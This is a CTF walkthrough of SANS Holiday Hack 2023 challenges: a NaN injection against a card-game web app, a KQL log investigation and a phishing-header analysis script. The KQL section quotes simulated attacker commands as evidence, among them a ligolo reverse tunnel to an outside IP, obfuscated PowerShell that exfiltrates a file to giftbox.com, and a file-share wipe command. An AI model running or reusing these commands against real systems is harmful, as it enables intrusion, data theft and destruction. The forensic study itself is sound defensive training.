Film Noir Island⚓︎
Steer our ship towards the mysterious allure of Film Noir Island by deftly using the arrow keys on the keyboard or the WASD keys. This enigmatic island beckons from the middle-right corner of the map, promising a journey filled with intrigue and shadows. Navigate wisely and enjoy the cinematic adventure!
There are two different ports available:
Port of Chiaroscuro City⚓︎
While exploring FIlm Noir Island, we discover the Port of Chiaroscuro City. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured the Goose of Film Noir Island to greet us!
When we make land, we obtain new objectives on arrival.
Na'an (Film Noir Island)
Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!
KQL Kraken Hunt (Film Noir Island)
Use Azure Data Explorer to uncover misdeeds in Santa's IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.
Full Island (Zoomed Out)
Wombley Cube Audiobook⚓︎
Walking past the dock straight ahead, we find Wombley Cube that shares his audio book with us! This might be useful to us later ...
Wombley Cube
Hey, did you have a chance to listen to my audiobook yet?
Na'an⚓︎
Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!
Upon advancing to the middle of the island through an alleyway, we encounter Shifty McShuffles near a challenge.
When speaking with Shifty McShuffles, we obtain the following hints:
Stump the Chump
Try to outsmart Shifty by sending him an error he may not understand.
The Upper Hand
Shifty said his deck of cards is made with Python. Surely there's a weakness to give you the upper hand in his game.
When we startup the challenge, it spins up a card game:
When attempting to play, we typically always lose! It seems Shifty is up to some tricks, causing obstacles in our path to victory.
By proxying web traffic through Burp Suite, we've observed that our cards are being sent via a POST request to https://nannannannannannan.com/action=
with a JSON payload of {"play":"8,7,3,4,5"}
.
Furthermore, we've identified that the backend Web-Framework is Werkzeug/3.0.1 Python/3.8.10
based on the information provided in the Server header.
NaN Injection - Source-Code Leak, Error in CSV Reader⚓︎
It appears that by setting the value to NaN
, we trigger an error in the function, and as a result, obtain a very verbose source code along with the error details. This can be a valuable insight for further analysis and understanding of the system's workings.
To render this script into a more readable form, you can employ the Unescape String
recipe in the Cyberchef tool.
def play_cards(csv_card_choices, request_id):
try:
f = StringIO(csv_card_choices)
reader = csv.reader(f, delimiter=',')
player_cards = []
for row in reader:
for n in row:
n = float(n)
if is_valid_whole_number_choice(n) and n not in [x['num'] for x in player_cards]:
player_cards.append({
'owner':'p',
'num':n
})
break
if len(player_cards) != 5:
return jsonify({"request":False,"data": f"Requires 5 unique values but was given \"{csv_card_choices}\"" })
player_cards = sorted(player_cards, key=lambda d: d['num'])
shiftys_cards = shifty_mcshuffles_choices( player_cards )
all_cards = []
for p in player_cards:
if p['num'] not in [x['num'] for x in shiftys_cards]:
all_cards.append(p)
for s in shiftys_cards:
if s['num'] not in [x['num'] for x in player_cards]:
all_cards.append(s)
maxItem = False
minItem = False
if bool(len(all_cards)):
maxItem = max(all_cards, key=lambda x:x['num'])
minItem = min(all_cards, key=lambda x:x['num'])
p_starting_value = int(session.get('player',0))
s_starting_value = int(session.get('shifty',0))
if bool(maxItem):
if maxItem['owner'] == 'p':
session['player'] = str( p_starting_value + 1 )
else:
session['shifty'] = str( s_starting_value + 1 )
if bool(minItem):
if minItem['owner'] == 'p':
session['player'] = str( int(session.get('player',0)) + 1 )
else:
session['shifty'] = str( int(session.get('shifty',0)) + 1 )
score_message, win_lose_tie_na = win_lose_tie_na_calc( int(session.get('player',0)), int(session.get('shifty',0)) )
play_message = 'Ha, we tied!'
if int(session['player']) - p_starting_value > int(session['shifty']) - s_starting_value:
play_message = 'Darn, how did I lose that hand!'
elif int(session['player']) - p_starting_value < int(session['shifty']) - s_starting_value:
play_message = 'I win and you lose that hand!'
if win_lose_tie_na in ['w','l','t']:
session['player'] = '0'
session['shifty'] = '0'
msg = { "request":True, "data": {
'player_cards':player_cards,
'shiftys_cards':shiftys_cards,
'maxItem':maxItem,
'minItem':minItem,
'player_score':int(session['player']),
'shifty_score':int(session['shifty']),
'score_message': score_message,
'win_lose_tie_na': win_lose_tie_na,
'play_message':play_message,
} }
if win_lose_tie_na == "w":
msg["data"]['conduit'] = { 'hash': hmac.new(submissionKey.encode('utf8'), request_id.encode('utf8'), sha256).hexdigest(), 'resourceId': request_id }
return jsonify( msg )
except Exception as e:
err = f"{type(e).__name__} at line {e.__traceback__.tb_lineno} of {__file__}: {e}"
raise ValueError(err)
Error in function named play_cards:
ValueError at line 172 of /root/webserver/webserver.py: TypeError at line 92 of /root/webserver/webserver.py: initial_value must be str or None, not float
NaN Injection - Min/Max⚓︎
Submitting NaN
as the first or second number creates an issue with the sorting function, leading to a situation where our minimum or maximum value will consistently be NaN
. This problem with the sorting function can impact the expected outcomes of calculations or comparisons involving these values.
POST /action?id=61d459b0-8183-49f0-9e01-55431cf3dcb8 HTTP/2
Host: nannannannannannan.com
Cookie: GCLB="02ce8e29bdf3d2c5"; session=eyJwbGF5ZXIiOiIwIiwic2hpZnR5IjoiMiJ9.ZY9UcQ.gNLKGGQlWfhkp5Y_6dknQYdkrDU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 22
{"play":"NaN,1,3,0,9"}
1st and 2nd Number:
Last Three Numbers:
After achieving a score of 10, victory is ours! The key to success lies in repeatedly submitting NaN
as the first value, exploiting the sorting function's flaw and ensuring the desired outcome.
Achievement
Congratulations! You have completed the Na'an challenge!
KQL Kraken Hunt⚓︎
KQL Kraken Hunt (Film Noir Island)
Use Azure Data Explorer to uncover misdeeds in Santa's IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.
Heading to the top left of the island, we come across the Gumshoe Alley PI Office, which we can enter!
I found Tangle Coalbox inside and close to a challenge.
Engaging in a conversation with Tangle Coalbox yields the following hints:
File Creation
Looking for a file that was created on a victim system? Don't forget the FileCreationEvents table.
KQL Tutorial
Once you get into the Kusto trainer, click the blue Train me for the case button to get familiar with KQL.
Outbound Connections
Do you need to find something that happened via a process? Pay attention to the ProcessEvents table!
When we startup the challenge, it goes to a KUSTO Detective Agency website.
Onboarding Case⚓︎
Clicking on the on-boarding email, it pops up and explains the challenge. We have to start a free personal cluster per the FAQ section in Azure Data Explorer. I signed into Microsoft and got my cluster and data ingestion URLs. Once I obtain a Cluster URI , we login to the main site! We are a Cadet and have 0/6 cases solved.
Upon clicking the on-boarding email, a popup provides an explanation of the challenge. Following the instructions in the FAQ section on Azure Data Explorer, I initiated a free personal cluster. After signing into Microsoft, I acquired my cluster and data ingestion URLs. Once in possession of the Cluster URI, I logged into the main site. Currently, I hold the rank of Cadet with 0 out of 6 cases solved.
The Onboarding case provides the following KQL query to initialize the database within the cluster environment:
.execute database script <|
.create table AuthenticationEvents (timestamp:datetime, hostname:string, src_ip:string, user_agent:string, username:string, result:string, password_hash:string, description:string)
.create table Email (timestamp:datetime, sender:string, reply_to:string, recipient:string, subject:string, verdict:string, link:string)
.create table Employees (hire_date:datetime, name:string, user_agent:string, ip_addr:string, email_addr:string, company_domain:string, username:string, role:string, hostname:string)
.create table FileCreationEvents (timestamp:datetime, hostname:string, username:string, sha256:string, path:string, filename:string, process_name:string)
.create table InboundNetworkEvents (timestamp:datetime, ['method']:string, src_ip:string, user_agent:string, url:string)
.create table OutboundNetworkEvents (timestamp:datetime, ['method']:string, src_ip:string, user_agent:string, url:string)
.create table PassiveDns (timestamp:datetime, ip:string, domain:string)
.create table ProcessEvents (timestamp:datetime, parent_process_name:string, parent_process_hash:string, process_commandline:string, process_name:string, process_hash:string, hostname:string, username:string)
.create table SecurityAlerts (timestamp:datetime, alert_type:string, severity:string, description:string, indicators:dynamic)
// Ingest data into tables
.ingest into table AuthenticationEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/AuthenticationEvents.csv') with (ignoreFirstRecord = true)
.ingest into table Email ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/Email.csv') with (ignoreFirstRecord = true)
.ingest into table Employees ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/Employees.csv') with (ignoreFirstRecord = true)
.ingest into table FileCreationEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/FileCreationEvents.csv') with (ignoreFirstRecord = true)
.ingest into table InboundNetworkEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/InboundNetworkEvents.csv') with (ignoreFirstRecord = true)
.ingest into table OutboundNetworkEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/OutboundNetworkEvents.csv') with (ignoreFirstRecord = true)
.ingest into table PassiveDns ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/PassiveDns.csv') with (ignoreFirstRecord = true)
.ingest into table ProcessEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/ProcessEvents.csv') with (ignoreFirstRecord = true)
.ingest into table SecurityAlerts ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/SecurityAlerts.csv') with (ignoreFirstRecord = true)
To execute the provided KQL script, click the Run button located in the top-right corner. This action redirects you to Azure Data Explorer, where you can click the Run button again to initialize the "MyDatabase" database.
In handling the Onboarding Case, I initiated the investigation by inspecting the Employees table. Notably, laptops were consistently marked with 'LAPTOP' in the hostname column, and the role consistently specified as 'Craftsperson Elf'. To enhance accuracy, a distinct query was executed to identify and remove duplicate entries. The subsequent count yielded a comprehensive overview of the relevant data.
Employees
| where role == 'Craftsperson Elf'
| where hostname has "LAPTOP"
| distinct name
| count
How many Craftperson Elf's are working from laptops?
Answer: 25
Case 1⚓︎
In addressing Case 1, I examined the "Email" data, focusing on records with URLs like "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx." Using the | where
clause, I isolated entries in the "link" column containing this URL substring, aiming to extract pertinent information from the "Email" dataset.
Email
| where link has "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
```text title="result" hl_lines="2,3,5" "timestamp": 2023-12-02T09:37:40Z, "sender": cwombley@gmail.com, "reply_to": cwombley@gmail.com, "recipient": alabaster_snowball@santaworkshopgeeseislands.org, "subject": [EXTERNAL] Invoice foir reindeer food past due, "verdict": CLEAN, "link": http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx
!!! success "What is the email address of the employee who received this phishing email?"
Answer: `alabaster_snowball@santaworkshopgeeseislands.org`
!!! success "What is the email address that was used to send this spear phishing email?"
Answer: `cwombley@gmail.com`
!!! success "What was the subject line used in the spear phishing email?"
Answer:`[EXTERNAL] Invoice foir reindeer food past due`
#### Case 2
![case2](assets/img/film_noir_island_194.png)
In addressing Case 2, I filtered the "Employees" data to include only rows where the `email_addr` column matches the specified email address of `alabaster_snowball@santaworkshopgeeseislands.org`. This was done using the `| where` clause for filtering. The outcome is a subset of data exclusively related to the provided email address within the "Employees" dataset.
```javascript title="query"
Employees
| where email_addr == "alabaster_snowball@santaworkshopgeeseislands.org"
"hire_date": 2021-06-09T06:59:43Z,
"name": Alabaster Snowball,
"user_agent": Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko,
"ip_addr": 10.10.0.4,
"email_addr": alabaster_snowball@santaworkshopgeeseislands.org,
"company_domain": santaworkshopgeeseislands.org,
"username": alsnowball,
"role": Head Elf,
"hostname": Y1US-DESKTOP
What is the role of our victim in the organization?
Answer: Head Elf
What is the hostname of the victim's machine?
Answer: Y1US-DESKTOP
What is the source IP linked to the victim?
Answer: 10.10.0.4
Case 3⚓︎
In addressing Case 3 question 1, I queried data from OutboundNetworkEvents
to isolate entries where the url
column contains the substring madelvesnorthpole.org
. The | where
clause serves to filter and identify records associated with this specific domain within the OutboundNetworkEvents
dataset.
"timestamp": 2023-12-02T10:12:42Z,
"method": GET,
"src_ip": 10.10.0.4,
"user_agent": Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko,
"url": http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx
What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs!
Answer: 2023-12-02T10:12:42Z
In addressing Case 3 question 2, I retrieved data from FileCreationEvents
where the timestamp
is on or after December 2, 2023, at 10:12:42 AM (UTC). The query is limited to the first 5 results using the | take 5
clause, providing a snapshot of recent file creation events within the specified timeframe from the FileCreationEvents
dataset.
"timestamp": 2023-12-02T10:12:48Z,
"hostname": 7CUR-LAPTOP,
"username": evwinterwhisper,
"sha256": 1224bdfcfeae79e619525f864f6ba4c3e44d7d8e4606341f8832c246a38c9ddd,
"path": C:\Users\evwinterwhisper\Pictures\garden.jpeg,
"filename": garden.jpeg,
"process_name": explorer.exe
"timestamp": 2023-12-02T10:13:35Z,
"hostname": Y1US-DESKTOP,
"username": alsnowball,
"sha256": 9cec01b76ec24175cde5482b4c0b09fa4278b8e06a267186888853207adc3ced,
"path": C:\Users\alsnowball\Downloads\MonthlyInvoiceForReindeerFood.docx,
"filename": MonthlyInvoiceForReindeerFood.docx,
"process_name": Edge.exe
"timestamp": 2023-12-02T10:14:21Z,
"hostname": Y1US-DESKTOP,
"username": alsnowball,
"sha256": 4c199019661ef7ef79023e2c960617ec9a2f275ad578b1b1a027adb201c165f3,
"path": C:\ProgramData\Windows\Jolly\giftwrap.exe,
"filename": giftwrap.exe,
"process_name": explorer.exe
"timestamp": 2023-12-02T10:17:45Z,
"hostname": AD6Z-MACHINE,
"username": copeppermintwhirl,
"sha256": bcfa463cf0785a9435c719857973997ec49f212b909cbec62e347d752d706afc,
"path": C:\Windows\System32\replace.exe,
"filename": replace.exe,
"process_name": svchost.exe
"timestamp": 2023-12-02T10:18:50Z,
"hostname": WAWE-MACHINE,
"username": snnutmeggins,
"sha256": 5aa77d78966fab257d5852a9c10c66e9845d5fe4dc715374469a78dae24760d3,
"path": C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\HoloTileAssets\StartTile.hcp,
"filename": StartTile.hcp,
"process_name": wuauclt.exe
What file is dropped to Alabaster's machine shortly after he downloads the malicious file?
Answer: giftwrap.exe
Case 4⚓︎
In addressing Case 4, I extracted data from "ProcessEvents" where the "timestamp" is on or after December 2, 2023, at 10:12:42 AM (UTC). Additionally, I filtered the results to include entries where the "username" contains the substring "alsnowball" and the "parent_process_name" is specifically "cmd.exe." This query focuses on process events associated with the specified timestamp, username, and parent process name within the "ProcessEvents" dataset.
ProcessEvents
| where timestamp >= datetime("2023-12-02T10:12:42Z")
| where username has "alsnowball"
| where parent_process_name == "cmd.exe"
"timestamp": 2023-12-02T11:11:29Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": "ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof,
"process_name": ligolo,
"process_hash": e9b34c42e29a349620a1490574b87865cc1571f65aa376b928701a034e6b3533,
"hostname": Y1US-DESKTOP,
"username": alsnowball
"timestamp": 2023-12-02T16:51:44Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": net share,
"process_name": net.exe,
"process_hash": 8b5b1556ba468035a37b40d8ea42a4bff252f4502b97c52fcacb3ba269527a57,
"hostname": Y1US-DESKTOP,
"username": alsnowball
..[snip]..
"timestamp": 2023-12-24T15:14:25Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123,
"process_name": cmd.exe,
"process_hash": bfc3e1967ffe2b1e6752165a94f7f84a216300711034b2c64b1e440a54e91793,
"hostname": Y1US-DESKTOP,
"username": alsnowball
The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?
Answer: 113.37.9.17
What is the timestamp when the attackers enumerated network shares on the machine?
Answer: 2023-12-02T16:51:44Z
What was the hostname of the system the attacker moved laterally to?
Answer: NorthPolefileshare
Case 5⚓︎
In addressing Case 5, I extracted data from ProcessEvents
with a timestamp on or after December 24, 2023, at 3:14:25 PM (UTC). The filtering also focused on entries where the process_commandline
contains -enc
. Using extensions, I decoded a portion of the command line that followed the -enc
flag, assuming it is Base64-encoded. The results were then projected to include the original timestamp, the process command line, and the decoded version for further analysis.
ProcessEvents
| where timestamp >= datetime("2023-12-24T15:14:25Z")
| where process_commandline has "-enc"
| extend encoded_part = extract(@"-enc\s+([a-zA-Z0-9+_]*)", 1, process_commandline)
| extend decoded_commandline = base64_decode_tostring(encoded_part)
| project timestamp, process_commandline, decoded_commandline
"timestamp": 2023-12-24T16:07:47Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn,
"decoded_commandline": ( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''
"timestamp": 2023-12-24T16:58:43Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4=,
"decoded_commandline": [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN
"timestamp": 2023-12-25T10:44:27Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ=,
"decoded_commandline": C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
The first and second commands executed by the attacker were obfuscated still, so we needed to run them in PowerShell:
( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join '' | rev
powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))
The third command executed by the attacker was automatically decoded by the initial KQL (Kusto Query Language) query.
When was the attacker's first base64 encoded PowerShell command executed on Alabaster's machine?
Answer: 2023-12-24T16:07:47Z
What was the name of the file the attacker copied from the fileshare
? (This might require some additional decoding)
Answer: NaughtyNiceList.txt
The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?
Answer: giftbox.com
Case 6⚓︎
In addressing Case 6, I used the same result of Case 5.
What is the name of the executable the attackers used in the final malicious command?
Answer: downwithsanta.exe
What was the command line flag used alongside this executable?
Answer: --wipeall
Congratulations!
Congratulations, you've cracked the Kusto detective agency section of the Holiday Hack Challenge!
After submitting the secret phrase into the Objectives tab, I got an achievement:
Achievement
Congratulations! You have completed the KQL Kraken Hunt challenge!"
Port of the Blacklight District⚓︎
While exploring FIlm Noir Island, we discover the Port of the Blacklight District. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured the Goose of Film Noir Island to greet us!
When we make land, we obtain a new objective on arrival.
Phish Detection Agency (Film Noir Island)
Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!
Full Island (Zoomed Out)
Phish Detection Agency⚓︎
Phish Detection Agency (Film Noir Island)
Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!
If we go to the right of the Goose of Film Noir Island, we find Fitzy Shortstack close to a challenge.
Engaging in a conversation with Fitzy Shortstack yields the following hints:
DMARC, DKIM, and SPF, oh my!
Discover the essentials of email security with DMARC, DKIM, and SPF at Cloudflare's Guide.
Upon initiating the challenge, the Phishing Detection Agency extends a welcome, providing an explanation of the challenge. Exploring the tabs allows us to view the currently detected phishing emails, the entire inbox content, and the DNS setup.
Here is a table presenting all the emails at the beginning of the challenge: | Sender | Subject | Status | |----------------------------------|------------------------------------------------|----------| | alice.smith@geeseislands.com | Summer Beach Cleanup Coordination | Phishing | | david.jones@geeseislands.com | Tech Team's Holiday Hackathon | Safe | | emily.white@geeseislands.com | Island Wildlife Conservation Efforts | Safe | | frank.harrison@geeseislands.com | Annual Budget Review and Forecasting | Phishing | | grace.lee@geeseislands.com | Marketing for the Holiday Season | Safe | | harry.potter@geeseislands.com | Q4 Operational Excellence | Safe | | isabella.martin@geeseislands.com | Environmental Policies Legal Review | Safe | | jason.brown@geeseislands.com | Boosting End of Year Sales | Safe | | john.doe@geeseislands.com | Pacific Festive Celebrations Overview | Phishing | | karen.evans@geeseislands.com | IT Infrastructure Upgrade Discussion | Safe | | laura.green@geeseislands.com | Security Protocol Briefing | Phishing | | laura.moore@geeseislands.com | Coral Reef Study Findings | Phishing | | michael.roberts@geeseislands.com | Compliance Training Schedule Announcement | Safe | | michael.taylor@geeseislands.com | Project Management Best Practices | Safe | | nancy.wilson@geeseislands.com | Client Engagement Enhancements | Safe | | nancy@geeseislands.com | Public Relations Strategy Meet | Phishing | | oliver.hill@geeseislands.com | Supply Chain Optimization Initiatives | Safe | | oliver.thomas@geeseislands.com | New Research Project Kickoff | Safe | | patricia.johnson@geeseislands.com | Communication Skills Workshop | Safe | | quentin.adams@geeseislands.com | Quality Assurance Protocols Meeting | Phishing | | quincy.adams@geeseislands.com | Networking Event Success Strategies | Phishing | | rachel.baker@geeseislands.com | Production Milestones Meeting | Safe | | rachel.brown@geeseislands.com | Customer Feedback Analysis Meeting | Safe | | steven.clark@geeseislands.com | Employee Wellbeing Workshop | Safe | | steven.gray@geeseislands.com | Procurement Process Improvements | Phishing | | teresa.green@geeseislands.com | Financial Planning for 2024 | Phishing | | uma.foster@geeseislands.com | Operational Efficiency Review | Phishing | | ursula.morris@geeseislands.com | Legal Team Expansion Strategy | Safe | | victor.davis@geeseislands.com | Invitation to Research Grant Meeting | Phishing | | victor.harris@geeseislands.com | IT Security Update | Safe | | wendy.mitchell@geeseislands.com | Holiday Marketing Brainstorm | Safe | | xavier.edwards@geeseislands.com | Year-End Sales Target Strategies | Phishing | | xavier.jones@geeseislands.com | Urgent IT Security Update | Safe | | yvonne.jackson@geeseislands.com | Enhancing Client Relationships Workshop | Safe |
DNS⚓︎
Analysis - Dynamic Emails⚓︎
The emails were being loaded dynamically from a JavaScript file called seed.js
..[snip]..
loadEmails.push({
from: "jason.brown@geeseislands.com",
to: "admin.sales@geeseislands.com",
headers: "Return-Path: <jason.brown@geeseislands.com>\nReceived: from mail.geeseislands.com\nDKIM-Signature: v=1; a=rsa-sha256; d=geeseislands.com; s=default; b=HJgZP0lGJb8xK3t18YsOUpZ+YvgcCj2h3ZdCQF/TN0XQlWgZt4Ll3cEjy1O4Ed9BwFkN8XfOaKJbnN+lCzA8DyQ9PDPkT9PeZw2+JhQK1RmZdJlfg8aIlXvB2Jy2b2RQlKcY0a5+j/48edL9XkF2R8jTtKgZd9JbOOyD4EHD6uLX5;\nDMARC: Pass",
subject: "Boosting End of Year Sales",
content: "<p>Let's discuss <strong>strategies to boost our year-end sales</strong>. Bonus: A special segment on how ChatNPT can enhance our sales tactics!</p>",
date: "2023-10-21 10:05:00",
status: 0
});
..[snip]..
I converted all the emails to a JSON format so I can easily parse it using jq
:
There is a total of 34 emails that we have to categorize them as a phishing attempt email or not.
Analysis - SPF, DKIM, and DMARC⚓︎
We were able to use Python, to automate the analysis of the DKIM and DMARC headers and validate the return path was identical the the sender address.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to parse all the emails and check DNS DKIM, DMARK, and SPF results.
Holiday Hack 2023 - SUSPICIOUS
"""
# Imports
import json
import re
import requests
from email import policy
from email.parser import BytesParser
def check_dkim(header):
# Extract DKIM-Signature from headers
dkim_match = re.search(r"DKIM-Signature: (.+)", header)
if dkim_match:
return dkim_match.group(1).strip()
return "DKIM not found"
def check_dmarc(header):
# Extract DMARC from headers
dmarc_match = re.search(r"DMARC: (.+)", header)
if dmarc_match:
return dmarc_match.group(1).strip()
return "DMARC not found"
def check_return_path(header):
# Extract Return-Path from headers
return_path_match = re.search(r"Return-Path: <(.+)>", header)
if return_path_match:
return return_path_match.group(1).strip()
return "Return-Path not found"
def process_emails(data):
print(f'Analyzing {len(data["emails"])} emails ...')
for i, email in enumerate(data["emails"]):
data["emails"][i]["index"] = i + 1
print(f'\n{i+1}. {email["subject"]}')
print(f"FROM: {email['from']}")
print(f"TO: {email['to']}")
print(f"DATE: {email['date']}")
# Parse the email content
msg = BytesParser(policy=policy.default).parsebytes(email["headers"].encode("utf-8"))
# Get the headers
headers = msg.as_string()
# Check DKIM
dkim = check_dkim(headers)
print(f"DKIM: {dkim}")
# Check DMARC
dmarc = check_dmarc(headers)
print(f"DMARC: {dmarc}")
# Check Return-Path
return_path = check_return_path(headers)
print(f"Return-Path: {return_path}")
# Extract relevant information
dmarc_pass = "Pass" in dmarc
dkim_valid = "v=1; a=rsa-sha256; d=geeseislands.com; s=default;" in dkim
return_path_match = email["from"] in return_path
# Analysis
if dmarc_pass and dkim_valid and return_path_match:
print("Status: \033[92mSAFE\033[0m")
data["emails"][i]["status"] = 0
else:
print("Status: \033[91mSUSPICIOUS\033[0m")
data["emails"][i]["status"] = 1
return data
# Open the file and load the JSON data
with open("./emails.json", "r") as file:
email_data = json.load(file)
email_parsed = process_emails(email_data)
# Check status
bad_emails = [f'{email["from"]}' for email in email_parsed["emails"] if email["status"] == 1]
bad_emails.sort()
bad_emails_subjects = [f'{email["index"]}-{email["from"]}-{email["subject"]}' for email in email_parsed["emails"] if email["status"] == 1]
print("\nPhishing:")
print("\n".join(bad_emails_subjects))
# Send status
session = requests.session()
burp0_url = "https://hhc23-phishdetect-dot-holidayhack2023.ue.r.appspot.com:443/check-status"
burp0_cookies = {"CaseFile": "eyJ1c2VyaWQiOiI0ODAxOTFiNy03ZDdhLTQ0NjQtOTBiNS05ZTBiZTA3MzIwMDQifQ.ZZLi4A.u8YhzTZlio0ywFsxrho-DqrPbOg"}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=bad_emails)
print("\nCheck Status (/check-status)")
print(r.text)
The following is the output of the script in action:
$ python3 phishing_parse.py
Analyzing 34 emails ...
Phishing:
2-victor.davis@geeseislands.com-Invitation to Research Grant Meeting
8-xavier.jones@geeseislands.com-Urgent IT Security Update
15-steven.gray@geeseislands.com-Procurement Process Improvements
17-laura.green@geeseislands.com-Security Protocol Briefing
19-nancy@geeseislands.com-Public Relations Strategy Meet
21-rachel.brown@geeseislands.com-Customer Feedback Analysis Meeting
23-ursula.morris@geeseislands.com-Legal Team Expansion Strategy
24-quincy.adams@geeseislands.com-Networking Event Success Strategies
28-michael.roberts@geeseislands.com-Compliance Training Schedule Announcement
32-oliver.thomas@geeseislands.com-New Research Project Kickoff
Check Status (/check-status)
